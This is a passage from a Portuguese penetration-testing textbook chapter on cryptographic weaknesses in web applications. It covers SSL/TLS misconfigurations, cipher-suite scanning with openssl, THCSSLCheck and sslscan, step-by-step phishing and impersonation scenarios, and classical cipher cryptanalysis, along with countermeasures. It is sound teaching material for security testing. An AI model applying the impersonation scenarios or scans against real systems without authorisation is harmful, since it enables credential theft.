Do lado do servidor, um problema muito comum ocorre com o certificado digital utilizado na configurao do tnel SSL/TLS. Inmeros so os casos de aplicaes que empregam certificados autoassinados, expirados ou emitidos por autoridades certificadoras caseiras, das quais os navegadores e sistemas clientes no possuem a chave pblica autntica, para validao de assinatura. Em qualquer um desses casos, uma mensagem de erro, como a ilustrada pela Figura 9.1, exibida ao usurio. Como o objetivo deste sempre utilizar o sistema, provavelmente, ele ignorar o alerta e continuar o acesso, ainda mais impulsionado pelo hbito criado pela aplicao. Posteriormente, se ele for vtima de um ataque de phishing ou de redirecionamento, a tela de aviso aparecer igualmente e a pessoa prosseguir como acostumada. Outro problema resultante de m configurao o suporte a sutes criptogrficas fracas e a verses antigas do protocolo SSL. Existem sutes para testes, habilitadas por padro em sistemas antigos, as quais no utilizam cifras para proteger a confidencialidade das informaes trafegadas. Outras, por sua vez, cifram o canal, mas com algoritmos datados ou de exportao, que podem ser quebrados por fora bruta. J no caso de SSL 2.0, possvel forar a escolha de algoritmos, por meio da adulterao do handshake, e, tambm, excluir bytes ao final de cada mensagem, sem ser detectado, devido a uma falha na gerao do MAC (Wagner e Schneier, 1996). Alm dessas vulnerabilidades, esta verso baseia o encerramento de sesso no envio de um pacote TCP com
Phishing uma tcnica baseada em engenharia social, na qual um usurio malicioso se passa por uma entidade confivel, para obter informaes confidenciais, como nmeros de carto de crdito e credenciais de acesso a sistemas. Um exemplo so as mensagens de correio eletrnico, supostamente enviadas pelo banco, que solicitam o fornecimento de senhas alegando, como motivo, problemas no sistema.
Flag FIN Bit presente no cabealho TCP, utilizado para encerramento de conexes.
o flag FIN habilitado. Qualquer pessoa, porm, pode forjar um pacote assim e, portanto, no h como as entidades envolvidas na comunicao saberem se a transmisso foi encerrada de maneira legtima.
409
Um ponto que nunca recebe a ateno que merece a proteo da chave privada utilizada por esses protocolos. Em ambientes tpicos, ela protegida por uma senha, a qual embutida em scripts de
inicializao do servidor, para que seja carregada automaticamente. Normalmente, no h restries quanto leitura desses arquivos, o que permite que qualquer usurio acesse a chave privada, aps inspeo da senha utilizada. Embora essa abordagem seja melhor em termos operacionais, pssima para a segurana. Uma vez conseguidos a chave privada e certificado de uma aplicao web, fica muito fcil personific-la de maneira perfeita, pois nenhum navegador ir reclamar de no ter conseguido completar o handshake SSL/TLS. O ltimo exemplo de vulnerabilidade no lado do servidor compreende aplicaes que protegem o transporte de informaes sigilosas, por meio do protocolo HTTPS, configurando-o perfeitamente, com sutes criptogrficas fortes e certificado digital vlido. No obstante, permitem que o mesmo recurso seja acessado, tambm, por meio de HTTP simples.
Teste de Invaso de Aplicaes Web
Assim, sem muita dificuldade, um usurio pode ser induzido a acessar pginas sensveis, por meio desse protocolo, quando, ento, informaes em claro podero ser capturadas em trnsito. Do lado cliente, os problemas surgem quando as informaes do certificado digital apresentado pelo servidor no so validadas, ou quando o protocolo no seguido risca. Logo, se a data do acesso estiver fora do prazo de validade do certificado, se ele estiver revogado ou se no for possvel verificar as assinaturas digitais na cadeia de certificao, o handshake deve ser finalizado com erro. Outro aspecto importante considerado na especificao do HTTPS, mas no pelos protocolos SSL/TLS, que o nome do domnio sendo
410
acessado deve ser conferido com o contido no certificado (Howard et al., 2005; Oaks, 2001). Se isto no for satisfeito, possvel violar o requisito de autenticao de entidades. Por fim, observe-se a Figura 9.1 novamente. O navegador, frente a um problema na negociao do protocolo SSL, d a opo ao usurio, potencialmente leigo em segurana, de adicionar uma exceo e continuar o acesso ao stio web. Entregar uma deciso de segurana a um usurio , conforme Howard et al. (2005), uma vulnerabilidade, pois no se pode esperar que ele sempre escolha a opo mais segura. Consonantemente, o autor considera que isso seja um defeito de projeto dos navegadores, que deveriam considerar uma falha no estabelecimento do tnel SSL, como um problema de conectividade de rede, no qual o usurio impedido de prosseguir.
Apesar disso, comum encontrar stios web que a aceitam, para que navegadores e clientes web antigos no sejam impedidos de acessar a aplicao. Esta prtica um timo exemplo de aceitao de risco para suportar uma base de softwares legados, mas que no vai ao encontro das melhores prticas de segurana. A maneira mais simples de testar se um servidor est configurado para aceitar SSLv2 por meio da opo -ssl2 do utilitrio OpenSSL. Em caso positivo, a sada do comando ser similar abaixo apresentada:
SSL handshake has read 1416 bytes and written 364 bytes --New, SSLv2, Cipher is DES-CBC3-MD5 Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE SSL-Session: Protocol Cipher : SSLv2 : DES-CBC3-MD5
Captulo 9 - Mecanismos criptogrficos
411
...
no cifram os dados trafegados e permitem, portanto, que as informaes, em claro, sejam capturadas em trnsito. O seguinte cenrio ilustra um ataque bem-sucedido contra esta vulnerabilidade:
1. Por meio de outra vulnerabilidade no cliente, o atacante fora que a lista de sutes
seco das listas de sutes suportadas por ambos que, no caso, a prpria NULL-SHA.
3. O atacante captura os pacotes de rede e extrai as informaes desejadas que, embora
Figura 9.2 Trfego TLS em claro.
encapsuladas por SSL, no esto cifradas, conforme possvel observar pela Figura 9.2.
412
Existem diversas ferramentas que podem ser utilizadas para identificar as sutes criptogrficas suportadas por um servidor web. A primeira delas o prprio OpenSSL, com a opo -cipher, que define a sute a ser utilizada na conexo. Se ela no for suportada pelo servidor, uma mensagem de erro exibida, informando que a negociao SSL/TLS no foi bem-sucedida. O exemplo abaixo testa se os servidores do GMail suportam a sute NULL-SHA.
~$ openssl s_client -connect gmail.google.com:443 -cipher NULL-SHA CONNECTED(00000003) 8820:error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure:s23_clnt.c:596:
Observe-se que o comando acima testa apenas uma nica sute criptogrfica e, assim, ele deve ser repetido individualmente para cada par (sute, verso de protocolo). Embora isso seja uma desvantagem do OpenSSL, relativamente fcil implementar um script baseado neste utilitrio que identifique todas as sutes suportadas por um servidor. Basta para esse propsito verificar se cada execuo do comando resulta em erro ou em uma conexo efetuada. A primeira opo ao OpenSSL o utilitrio THCSSLCheck, criado por Johnny Cyberpunk e disponibilizado nativamente apenas para plataformas Windows. Apesar disso, pode ser facilmente portado para outras plataformas, por meio do software de emulao Wine. Apresenta a grande vantagem de testar diversas sutes com uma nica execuo; porm, no testa o suporte a cifras nulas e no atualizado desde 2004, quando foi lanado para o pblico. Este ltimo problema, no entanto, no to expressivo, uma vez que raramente so adicionadas novas sutes ao protocolo. Para exemplificar o uso do THCSSLCheck, o relatrio parcial da execuo contra o GMail est ilustrado a seguir.
C:\ >thcsslcheck gmail.google.com 443 -----------------------------------------------------------------------THCSSLCheck v0.1 - coding johnny cyberpunk (www.thc.org) 2004 ------------------------------------------------------------------------
[*] testing if port is up. pleaze wait... [*] port is up ! [*] testing if service speaks SSL ... [*] service speaks SSL !
Captulo 9 - Mecanismos criptogrficos
[*] now testing SSLv2 ---------------------------------------------------------------------DES-CBC3-MD5 - 168 Bits - unsupported IDEA-CBC-MD5 - 128 Bits - unsupported RC2-CBC-MD5 - 128 Bits - unsupported
413
[*] now testing SSLv3 ---------------------------------------------------------------------DHE-RSA-AES256-SHA - 256 Bits - unsupported DHE-DSS-AES256-SHA - 256 Bits - unsupported AES256-SHA - 256 Bits supported
EDH-RSA-DES-CBC3-SHA - 168 Bits - unsupported EDH-DSS-DES-CBC3-SHA - 168 Bits - unsupported DES-CBC3-SHA - 168 Bits ... EXP-EDH-DSS-DES-CBC-SHA EXP-DES-CBC-SHA EXP-RC2-CBC-MD5 EXP-RC4-MD5 40 Bits - unsupported 40 Bits - unsupported 40 Bits - unsupported 40 Bits - unsupported supported
[*] now testing TLSv1 ---------------------------------------------------------------------DHE-RSA-AES256-SHA - 256 Bits - unsupported DHE-DSS-AES256-SHA - 256 Bits - unsupported AES256-SHA - 256 Bits supported
EDH-RSA-DES-CBC3-SHA - 168 Bits - unsupported EDH-DSS-DES-CBC3-SHA - 168 Bits - unsupported ... EXP-DES-CBC-SHA Teste de Invaso de Aplicaes Web
EXP-RC2-CBC-MD5 EXP-RC4-MD5 -
A ltima ferramenta que ser abordada nesta seo a SSL Scan, desenvolvida e distribuda pela empresa Titania, sob uma licena GPLv3. Para gerar o binrio, necessrio utilizar o compilador GNU C e ter o OpenSSL instalado no ambiente. Alm de testar diversas sutes a partir de uma nica execuo, o SSL Scan tambm exibe informaes sobre o certificado e lista quais so os mecanismos escolhidos
Acrnimo recursivo para GNUs Not Unix. O projeto GNU iniciou-se em 1983 com o objetivo de criar um sistema operacional completo, similar ao Unix, baseado somente em softwares livres.
414
por padro, para os protocolos SSLv2, SSLv3 e TLSv1, quando disponveis. Observe-se, abaixo, o relatrio parcial da execuo do utilitrio contra o GMail.
~$ sslscan gmail.google.com
_ _ _ _ _ _ _| |_ _ _ ___ __ _ _ __ | _ \ / _ _/ _ _| / _ _|/ _ _/ _
Supported Server Cipher(s): Rejected Rejected Rejected ... Rejected Rejected Rejected Accepted Rejected ... Rejected Rejected Accepted Rejected Rejected Rejected Accepted ... TLSv1 TLSv1 TLSv1 TLSv1 TLSv1 TLSv1 TLSv1 256 bits 256 bits 256 bits 128 bits 128 bits 128 bits 128 bits DHE-RSA-AES256-SHA DHE-DSS-AES256-SHA AES256-SHA ADH-AES128-SHA DHE-RSA-AES128-SHA DHE-DSS-AES128-SHA AES128-SHA
Captulo 9 - Mecanismos criptogrficos
256 bits 256 bits 256 bits 256 bits 128 bits
415
Prefered Server Cipher(s): SSLv3 TLSv1 128 bits 128 bits RC4-SHA RC4-SHA
SSL Certificate: Version: 2 Serial Number: -4294967295 Signature Algorithm: sha1WithRSAEncryption Issuer: /C=US/O=Google Inc/CN=Google Internet Authority Not valid before: Oct 21 19:44:58 2010 GMT Not valid after: Oct 21 19:54:58 2011 GMT Subject: /C=US/ST=California/L=Mountain View/O=Google Inc/CN=*. google.com Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:96:2a:f2:79:d6:2b:e9:49:ae:96:1b:60:12:39: ac:9c:b2:ee:84:ac:b9:5a:7e:0e:b2:ef:7c:0a:5a: 7b:f0:82:db:52:c5:09:13:1f:65:38:e7:da:af:4b: 53:39:fe:50:3d:2a:d5:e9:de:31:3a:a5:05:1c:65: b6:59:32:de:56:90:a0:c4:09:de:dc:e3:4b:17:b6: bc:59:47:fa:e8:95:5b:d5:52:ba:2f:c7:95:74:8d: e4:d1:17:ae:06:97:ba:f6:22:6e:48:85:aa:8d:c3: e8:da:74:60:4f:9a:a3:43:4f:6e:e2:29:eb:e0:aa: 9e:bb:a7:ed:16:6a:17:7a:35 Exponent: 65537 (0x10001)
Teste de Invaso de Aplicaes Web
X509v3 Extensions: X509v3 Subject Key Identifier: A8:C9:67:22:2E:EE:32:78:B3:E2:B9:18:5B:62:87:1F:87:2D:4E:42 X509v3 Authority Key Identifier: ...
416
1 Certificado expirado. 1 Certificado vlido a partir de data posterior atual. 1 Certificado autoassinado. 1 Certificado emitido por autoridade certificadora desconhecida pelo navegador. 1 Certificado revogado. 1 Assinaturas digitais invlidas na cadeia de certificao. 1 Nome de domnio do stio web no incluso no(s) contido(s) no certificado.
Quando a aplicao sofre dessa vulnerabilidade, o usurio fica acostumado com a apresentao da mensagem de erro, pelo navegador web, e continua o acesso, ignorando-a. Isso abre caminho para um ataque, que permite coletar identificadores de usurio e as respectivas senhas:
1.
O atacante prepara um servidor falsificado, com cpia da tela de autenticao da aplicao vulnervel.
zido ao servidor ilegtimo. Como o navegador sempre reclama do certificado apresentado na negociao SSL/TLS, o usurio no percebe que est acessando uma pgina clonada e fornece identificador e senha, para autenticar-se.
3. O sistema forjado captura as credenciais fornecidas, realiza a autenticao na aplicao
correspondente. Em seguida, deve-se enganar o cliente web para acessar esse servidor, via HTTPS, como se fosse o original de um domnio arbitrrio. Isso pode ser realizado em sistemas Windows e Linux, pela incluso de uma linha no arquivo hosts, mapeando o domnio desejado para o endereo IP do servidor de teste. Caso o acesso seja realizado sem nenhum problema, o cliente no realiza a verificao e vulnervel.
417
Um possvel cenrio de explorao da vulnerabilidade descrito a seguir: 1. O atacante obtm um certificado digital e chave privada correspondente vlidos de um domnio XYZ qualquer, por meio da explorao de um servidor vulnervel, ou gerando as chaves e comprando o certificado de uma autoridade certificadora com processos de verificao de identidade ineficazes. 2. Um servidor web criado com contedo clonado do domnio ABC e com HTTPS configurado com o par de chaves do primeiro passo. 3. Um e-mail enviado a um conjunto de vtimas para que acessem o servidor malicioso, como sendo do domnio ABC. 4. Durante a negociao SSL, o servidor clonado envia o certificado do domnio XYZ para o navegador, que verifica, com sucesso, data de validade, assinaturas da cadeia de certificao e estado no revogado, mas no valida o domnio. Como nenhum erro ocorre, a chave pblica extrada e utilizada para compor a mensagem client_key_ exchange, enviada, em seguida, ao servidor. 5. O servidor capaz de extrair o contedo da mensagem client_key_exchange, pois possui a chave privada associada ao certificado do domnio XYZ, e completar as operaes para estabelecimento de chaves. 6. As mensagens change_cipher_spec e finished so trocadas entre as duas partes e o protocolo encerra-se normalmente, com a vtima conectada a um servidor falsificado.
de partida para aqueles que queiram se aprofundar neste assunto o Handbook of Applied Cryptography (Menezes et al., 2001). Pelos motivos expostos, esta seo limitar-se- a enumerar, com base na obra supracitada, os principais tipos de ataques contra protocolos de segurana, e a fornecer um nico exemplo:
1 Personificao o atacante se passa por uma das entidades participantes do protocolo. 1 Repetio dados obtidos de execues passadas do protocolo so reenviados a um
ou mais participantes do protocolo.
1 Intercalao informaes obtidas de mltiplas execues, antigas ou em andamento, so combinadas em uma nova execuo.
Teste de Invaso de Aplicaes Web
418
2. O sistema calcula o hash da senha, antes de envi-la ao servidor por meio de um canal
inseguro. A justificativa para isso que, dada a resistncia da pr-imagem, computacionalmente infactvel recuperar a senha em claro a partir do hash capturado.
3. O servidor recebe as credenciais do usurio e faz uma busca na base de autenticao a
rado autntico.
F.Hash
canal inseguro
Id, hash recebido
Figura 9.3 Protocolo de autenticao vulnervel.
=?
Id, 0x0243af7a23548a8 0eeba8f951314fa8c
Qual a vulnerabilidade apresentada por este esquema? O problema reside na transmisso das credenciais por um canal no protegido. No caso, irrelevante saber a senha em claro, pois o hash dela que est sendo utilizado para autenticar o usurio. Desse modo, uma pessoa maliciosa pode, em um ataque de repetio, capturar o trfego, obter o hash e reenvi-lo posteriormente ao servidor para autenticar-se de maneira ilegtima.
Contramedidas
Os seguintes pontos devem ser observados para evitar-se uma comunicao insegura com a aplicao web:
1 No utilize protocolos de segurana desenvolvidos caseiramente. 1 Configure o servidor para aceitar apenas sutes criptogrficas fortes, descartando,
assim, algoritmos de exportao, datados e quebrados.
419
1 No utilize verses de SSL anteriores a 3.0 e prefira o uso do protocolo TLS. 1 Compre e instale um certificado digital de uma autoridade certificadora conhecida e
confivel. No deixe que o certificado expire, adquirindo um novo antes que isso acontea.
1 Para aplicaes internas, caso uma infraestrutura de chaves pblicas prpria seja utilizada, instale o certificado raiz correspondente nos navegadores web dos usurios.
1 No permita que um recurso servido por meio do protocolo HTTPS tambm seja
acessvel por HTTP.
1 Proteja a chave privada do servidor, preferencialmente, partilhando-a entre vrios custodiantes e fornecendo-a ao sistema, sempre que necessrio, por meio de cerimnia oficial.
Nesse caso, uma nica vulnerabilidade no servidor pode ser suficiente para permitir a recuperao das informaes que esto em claro no disco. O usurio malicioso, obviamente, no se esforar para quebrar os mecanismos criptogrficos utilizados na proteo do canal de comunicao, na presena de um caminho mais fcil a ser trilhado. Por outro lado, quando existe a preocupao em cifrar dados sigilosos, a maior vulnerabilidade encontrada com relao proteo das chaves criptogrficas utilizadas. Normalmente, os desenvolvedores as embutem no cdigo, achando que, uma vez compilados os programas, ser difcil que algum as recupere. Este pensamento, muito comum, infelizmente, est equivocado. Por exemplo, se a chave foi colocada como uma cadeia de caracteres, basta utilizar um comando como o strings do Linux, para encontrar a informao desejada. Caso a chave seja ofuscada, tcnicas de depurao do programa podem ser empregadas, chegando-se ao mesmo resultado. Mesmo que fosse impossvel descobrir a chave, por meio da anlise do binrio, tal prtica fere os preceitos de gerenciamento de chaves criptogrficas. O motivo que a chave teria criptoperodo infinito, isto , ela nunca expiraria, salvo se novo binrio fosse gerado, com substituio da chave. Note-se que o objetivo em se estabelecer um tempo mximo para o uso de uma chave limitar: a quantidade de texto cifrado para criptoanlise; o montante de informao em caso de comprometimento; o uso do algoritmo ao tempo de vida esperado;
Teste de Invaso de Aplicaes Web
o tempo disponvel para ataques de fora bruta (Menezes et al., 2001). Pensando no ciclo de vida das chaves criptogrficas, um ponto que merece, mas no recebe, bastante ateno a fase de criao, que deve empregar mtodos que garantam um bom nvel de aleatoriedade. No incomum encontrar programas que baseiam a gerao de chaves em funes como
rand(), na linguagem C, e em classes como Random, em Java. Ou, pior ainda, empregam cadeias fixas como 01234567..., 000000... e ffffff..., as quais, dada a frequncia com que aparecem, so candidatas naturais a serem testadas.
420
DES Data Encryption Standard uma cifra simtrica de blocos, definida pelo padro americano FIPS 46-2, que utiliza blocos de 64 bits e chaves de 56 bits. Devido ao pequeno tamanho, foi quebrada, em 1998, por uma mquina criada especificamente para executar busca exaustiva de chaves.
Muitas empresas utilizam cifras caseiras ou clssicas na proteo de informaes valiosas, conforme constatado em diversas auditorias e anlises de vulnerabilidades realizadas pelo autor deste texto. Na grande maioria dos casos, empregavam-se cifras de substituio monoalfabtica com chaves fixas como parte da transformao; em outros, as informaes eram apenas
codificadas em BASE64. No nem necessrio dizer que todas essas solues fornecem um nvel de segurana quase nulo. Um pouco melhor, mas ainda problemtico face ao valor das informaes protegidas, o uso de DES simples, contra o qual ataques de fora bruta so viveis a um custo relativamente baixo. Aspectos mais sutis, com relao ao armazenamento seguro de informaes, esto relacionados a detalhes de desenvolvimento da soluo. Por exemplo, se as posies de memria contendo chaves criptogrficas no forem zeradas
Swap Em sistemas operacionais, o mecanismo em que pginas de memria so copiadas para disco, quando no h mais espao disponvel na memria principal do computador, de modo a permitir que as pginas necessrias ao processo ativo sejam carregadas.
antes de liberadas, ou se essas mesmas regies forem para disco, no processo de swap do sistema operacional, acesso no autorizado s chaves poder ocorrer.
Uso de BASE64
BASE64 o nome dado a um grupo de esquemas de codificao, que representam cadeias de octetos como caracteres imprimveis, pertencentes a um conjunto de 65 caracteres ASCII.
Um deles, o caractere =, utilizado para preenchimento do resultado, para que o tamanho seja sempre mltiplo de quatro. Os demais so mapeados, conforme Figura 9.4, para os valores 0 a 63, que compreendem todas as possibilidades de um nmero de seis bits.
Valor Cdigo 0 A 1 B 2 C 3 D 4 E 5 F 6 G 7 H 8 I 9 J 10 K 11 L 12 M 13 N 14 O 15 P
ASCII Acrnimo para American Standard Code for Information Interchange, um esquema de codificao que mapeia caracteres para valores numricos entre 0 e 255, considerando, tambm, a parte estendida da tabela.
Valor Cdigo
16 Q
17 R
18 S
19 T
20 U
21 V
22 W
23 X
24 Y
25 Z
26 a
27 b
28 c
29 d
30 e
31 f
Valor Cdigo
32 G
33 h
34 i
35 j
36 k
37 l
38 m
39 n
40 o
41 p
42 q
43 r
44 s
45 t
46 u
47 v
Cdigo
A entrada processada da esquerda para a direita, trs octetos por vez, os quais resultam em quatro caracteres codificados. Caso o tamanho da mensagem no seja mltiplo de trs, o ltimo bloco conter um ou dois octetos e dever ser tratado de maneira especial, conforme Figura 9.5 e Figura 9.6, respectivamente:
1 Um octeto quatro bits 0 devem ser adicionados ao final do octeto, de modo a completar 12 bits, que so ento mapeados para dois caracteres, concatenados com ==.
1 Dois octetos dois bits 0 devem ser adicionados ao final dos octetos, completando
18 bits, que so ento mapeados para trs caracteres, concatenados com =. 421
Valor
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
octeto
Bits adicionados 0 0 0 0
Figura 9.5 Codificao em BASE64, quando o ltimo bloco possui um octeto.
Codicado 1 Codicado 2
Preenchimento
Bits adicionados 2 octeto 0 0 Codicado 1 Codicado 2 Codicado 3 = Preenchimento
1 octeto
Figura 9.6 Codificao em BASE64, quando o ltimo bloco possui dois octetos.
Um exemplo completo de codificao pode ser observado na Figura 9.7. A primeira linha ilustra a entrada, em caracteres imprimveis, correspondente palavra Teste; na segunda, esto representados os valores ASCII de cada caractere, em binrio, alm dos dois bits 0 adicionados; a seguinte mostra o agrupamento em blocos de 6 bits e a ltima, o resultado em BASE64. Para realizar a decodificao, basta desfazer cada um dos passos, iniciando pelo ltimo deles. Um ponto importante, que deve ser notado, que os processos de converso no dependem de nenhum segredo e, assim, qualquer pessoa capaz de execut-los. Isto implica que o mecanismo no deve nunca ser utilizado para proteo do sigilo de informaes.
Dado o alfabeto caracterstico utilizado, muito fcil reconhecer dados codificados em BASE64. Em um teste de invaso, sempre que informaes nesse formato forem encontradas, deve-se proceder decodificao delas, para constatar se o mecanismo no est sendo incorretamente utilizado para prover confidencialidade. Algumas vezes, pode ocorrer de haver um prefixo ou sufixo, normalmente, em outro formato, que precisa ser ignorado para que a recuperao da informao original seja possvel.
seguro utilizar BASE64 para proteo de informaes sensveis? Justifique sua resposta.
422
Como h uma chance no marginal de se deparar com esse cenrio, importante saber como so os processos de criptoanlise que podem ser empregados em cada caso. Afinal, a subtrao de informaes de um ambiente um dos principais objetivos de um teste de invaso.
O objetivo evitar que as frequncias dos elementos da mensagem original sejam refletidas no texto cifrado, como ocorre com a letra e, no exemplo da Figura 9.8. Embora isto evite alguns ataques, outros ainda so possveis, salvo em alguns casos, em que algumas condies muito especiais so satisfeitas. As cifras clssicas que sero analisadas nesta seo, basicamente, so variaes desta e da primeira categoria.
Com o mesmo propsito acima mencionado, cifras de substituio homofnica mapeiam para cada caractere do alfabeto original um conjunto de t smbolos, com a restrio de no haver elementos comuns entre os diversos conjuntos.
Claramente, em um esquema assim, o alfabeto de ciframento deve conter, no mnimo, t vezes o nmero de elementos do original, seno no possvel satisfazer o requisito mencionado. O processo de ciframento de um caractere, por sua vez, consiste em substitu-lo por um eleocorrncia de um elemento no texto em claro dividida entre t smbolos no texto cifrado. Por conveno, quando cifras clssicas so utilizadas, o texto em claro representado em letras minsculas e o cifrado em letras maisculas. Alm disso, o alfabeto original e o de ciframento so idnticos, apesar disso no ser um requisito fundamental. Finalmente, assume-se que o atacante sabe a lngua da mensagem original e a cifra que foi utilizada para proteg-la.
Captulo 9 - Mecanismos criptogrficos
mento selecionado aleatoriamente do grupo mapeado para ele. Desse modo, a frequncia de
423
Para compreender como calcular o ndice, sero utilizados alguns conceitos elementares de probabilidade. Imagine-se uma urna contendo n papis, cada um com uma nica letra do alfabeto latino, denotado por A. Se forem retirados, aleatoriamente e sem reposio, exatamente dois papis, qual a probabilidade de que contenham a mesma letra? A resposta desta pergunta dada pelo ndice de coincidncia. Seja n , A, o nmero de ocorrncias da letra na urna. Dessa definio segue imediata-
mente que n = na + nb + ... + nz , pois, a soma das frequncias individuais igual ao nmero total de papis. A chance de se retirar a letra a nas duas escolhas de na /n x (na 1)/(n 1) = pa , exclusivos, a probabilidade procurada a soma de p , com A: P = n_ (n_-1) n (n-1)
A A
pois o papel no devolvido ao recipiente. Semelhantemente, para a letra b, a probabilidade de nb /n x (nb 1)/(n 1) = pb , e assim por diante. Uma vez que esses eventos so mutuamente
IC(n) =
No caso de uma distribuio homognea, na = n/26, para toda letra do alfabeto. Substituindo na frmula acima, obtm-se: n n x( - 1) 26 26 = n (n-1) n - 26 n-26 n-26 26 = = 26 x 26 (n -1) 26 26 (n -1) 26n - 26
IC(n) =
A
Supondo uma enorme quantidade de papis, isto , com n tendendo ao infinito, possvel calcular o ndice por meio do limite da funo: lim IC(n) = lim n - 26 26n - 26
L'Hpital
ng
ng
ng
lim IC(n) =
1 26
~ = 0,03846
Este valor de IC, denotado por IC A , reflete uma sequncia de letras aleatoriamente selecionada a partir de uma distribuio uniforme. Para um texto em uma lngua qualquer, entretanto, as frequncias no so homogneas, mas, sim, apresentam um padro estatstico, que depende
Teste de Invaso de Aplicaes Web
correspondentes a n , A, e calcular o limite da funo IC(n), de maneira similar ao exemplo das letras em diversos idiomas e o ndice de coincidncia relacionado.
do idioma. De modo a obter o ndice de coincidncia, nesses casos, deve-se atribuir os valores acima. A Figura 9.9, adaptada de (Gaines, 1939 e Singh, 1999), ilustra as frequncias individuais
424
Mas como o ndice de coincidncia pode ser utilizado com o propsito enunciado? Recorde-se que em cifras monoalfabticas as frequncias das letras no texto em claro so refletidas no texto cifrado, embora em smbolos diferentes, e observe-se que em cifras de transposio elas no so alteradas. Isso implica que o IC, nesses dois casos, deve ser prximo ao do idioma da mensagem. Por outro lado, quando cifras polialfabticas e homofnicas so empregadas, a frequncia original das letras diluda no texto cifrado e, portanto, o IC deve aproximar-se de IC A .
Cifra de Cesar
A cifra de Cesar, atribuda folcloricamente ao imperador romano Jlio Cesar, pertence classe de algoritmos de substituio monoalfabtica e consiste em se trocar cada letra do texto em claro por aquela situada trs posies adiante no alfabeto romano. Note-se que neste esquema a transformao fixa e, logo, uma chave no utilizada. Isto uma pssima prtica, pois requer que o algoritmo seja mantido em sigilo e, se ele for comprometido, um novo mecanismo deve ser projetado para substitu-lo. Para quebrar este criptossistema, basta tentar decifr-lo pelas vias normais, isto , substituir cada letra do texto cifrado por aquela que ocupa a terceira posio anterior no alfabeto.
q
Captulo 9 - Mecanismos criptogrficos
425
O mapeamento utilizado por esta cifra, bem como um exemplo, est ilustrado na Figura 9.10.
Um espao de chaves pequeno como este, porm, no acrescenta muito segurana, uma vez que possvel executar um ataque de fora bruta, no qual todas as possibilidades so testadas, uma a uma. Disso, pode-se pensar erroneamente que, para obter uma cifra segura, basta aumentar o nmero total de chaves. Para esclarecer este ponto, considere-se que uma cifra simtrica um cofre, com segredo
Teste de Invaso de Aplicaes Web
de mil dgitos. Obviamente, quanto maior o comprimento deste valor, mais difcil varrer todas as combinaes possveis. Mas para quebrar o sistema isto realmente necessrio? Depende! Se o mecanismo for fraco, o melhor ataque deixa de ser a fora bruta. Na analogia, se o cofre for de madeira, quem vai se preocupar em testar todos os segredos? muito mais fcil destruir o prprio cofre! Como exemplo de criptoanlise, considere-se que o texto cifrado YKMAXGTIG foi interceptado. Sabendo que a cifra de deslocamento foi utilizada, deve-se tentar decifr-lo com cada uma das chaves existentes, a partir de k = 1, at que texto legvel seja recuperado. Os passos realizados neste processo, ilustrados na Figura 9.12, finalizam em k = 6, quando o texto em claro seguranca encontrado.
426
k 0 a b c d e f g h i 1 2 3 4 5 6
Figura 9.12 Exemplo de criptoanlise da cifra de deslocamento.
Texto candidato j k l m n o p q r s t u v w x y z YKMAXGTIG Mapeamento K L M N O P L M N O P Q M N O P Q R N O P Q R S O P Q R S T P Q R S T U Q R S T U V R S T U V W S T U V W X T U V W X Y U V W X Y Z V W X Y Z A W X Y Z A B X Y Z A B C Y Z A B C D Z A B C D E A B C D E F xjlzwfshf wikyverge vhjxudqfd ugiwtcpec tfhvsbodb seguranca
B C D E F G
C D E F G H
D E F G H I
E F G H I J
F G H I J K
G H I J K L
H I J K L M
I J K L M N
J K L M N O
O algoritmo ROT13, assim como a cifra de Cesar, uma particularizao da cifra de deslocamento, mas com chave k = 13. O ponto interessante que os processos de ciframento e de deciframento podem utilizar
exatamente a mesma transformao, pois duas aplicaes consecutivas do algoritmo fazem com que cada letra do texto em claro seja substituda por aquelas 26 posies adiante no alfabeto, ou seja, por ela mesma. Devido a este fato, a quebra do ROT13 trivial, bastando aplic-lo sobre o texto cifrado que se julga ser texto protegido pelo algoritmo.
de ocorrncia de cada letra nas lnguas inglesa e portuguesa. Note-se que, no caso de nossa lngua nativa, as vogais respondem por aproximadamente metade das letras em um texto. Este nmero bem inferior para o idioma norte-americano, o qual gira em torno de 38%.
427
Para enfatizar como as frequncias das letras em idiomas especficos so refletidas em textos aleatrios, dois exemplos em ingls e dois em portugus sero fornecidos, juntamente com os respectivos histogramas. A partir deles, importante constatar que, para textos de tamanho razovel, o padro da lngua mantido, o que ser muito til no processo de criptoanlise da cifra de substituio monoalfabtica. Texto em ingls #1 O primeiro exemplo em ingls, retirado da revista Scientific American, expe o processo que resultou na extino dos Neandertais, que, por muito tempo, coexistiram com nossa espcie. Apesar de o texto ser pequeno, as frequncias individuais das letras esto muito prximas s esperadas pelo idioma, conforme pode ser observado na Figura 9.15. Perceba-se, entretanto, que a ordem dos elementos mais comuns est um pouco diferente da lngua inglesa, embora
Teste de Invaso de Aplicaes Web
ainda dentro do erro estatstico. Some 28,000 years ago in what is now the British territory of Gibraltar, a group of Neandertals eked out a living along the rocky Medterranean coast. They were quite possibly the last of their kind. Elsewhere in Europe and western Asia, Neandertals had disappeared thousands of years earlier, after having ruled for more than 200,000 years. The Iberian Peninusla, with its comparatively mild climate and rich array of animals and plants, seems to have been the final stronghold. Soon, however, the Gibraltar population, too, would die out, leaving behind only a smattering of their stone tools and the charred remnants of their campfires (Wong, 2009).
428
Figura 9.15 Comparao das frequncias das letras em ingls e em um trecho de artigo.
Texto em ingls #2 Este exemplo, extrado da revista Digital PhotoPro, apresenta o trabalho do fotgrafo Stuart Weston. Observe-se, na Figura 9.16, que, embora as distribuies sejam parecidas, as frequncias das letras mais comuns no esto muito aderentes estrutura da lngua. Esses desvios, entretanto, so comuns para textos pequenos. Stuart Weston is a multitalented bundle of energy who happens to make his living as a fashion photographer. His previous careers include a stint as an aerospace engineer, and hes apparently a talented drummer, painter and handyman. Hes currently building a log cabin in the French countryside, which will be his respite from running a booming business one that not only includes fashion photography, but also video production, graphic design and postprocessing. It all started, though, because 30 years ago, he worked with a photographer who was more interested in ogling models than he was in taking pictures (Savalich, 2009).
